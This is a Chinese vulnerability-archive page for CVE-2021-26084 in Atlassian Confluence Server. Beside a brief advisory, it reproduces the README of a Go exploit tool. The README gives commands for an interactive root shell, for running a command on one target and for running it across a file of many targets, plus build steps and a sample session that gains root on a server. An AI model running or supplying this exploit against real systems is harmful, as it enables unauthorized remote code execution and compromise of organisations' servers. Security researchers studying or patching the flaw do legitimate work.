关联漏洞
标题：
Atlassian Confluence Server 注入漏洞
(CVE-2021-26084)
描述：Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能，并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server and Data Center 存在注入漏洞，经过身份验证的用户在Confluence 服务器或数据中心实例上执行任意代码。以下产品及版本收到影响：All 4.x.x versions、All 5.x.x versions、All 6.0.x versions、All 6.1.x ver
描述
CVE-2021-26084 - Confluence Server Webwork OGNL injection (Pre-Auth RCE)
介绍
# CVE-2021-26084
Proof of concept for CVE-2021-26084.
Confluence Server Webwork OGNL injection (Pre-Auth RCE)
## Disclaimer
This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.
## Command Limiations
Due to the payload, it is not possible to pass some characters. The list below is what I've found during my testing.
* Double quotations `"`
* Vertical bar `|`
## Interactive Shell
```
go run exploit.go -t <target> -i
```
Example
```sh
root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Made by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye
```
* **Only works on a single target**
* Type `exit` to exit the interactive shell
* Notice shows if possible Windows machine
## Single Target
```
go run exploit.go -t <target> -c <command>
```
## Multiple Targets
```
go run exploit.go -f <file> -c <command>
```
## Build
```
go mod download
go build exploit.go
```
文件快照
[4.0K] /data/pocs/ffe86179d2d778681448b4ff9d52ddff807db720
├── [4.7K] exploit.go
├── [ 215] go.mod
├── [7.3K] go.sum
└── [1.2K] README.md
0 directories, 4 files
备注
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2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
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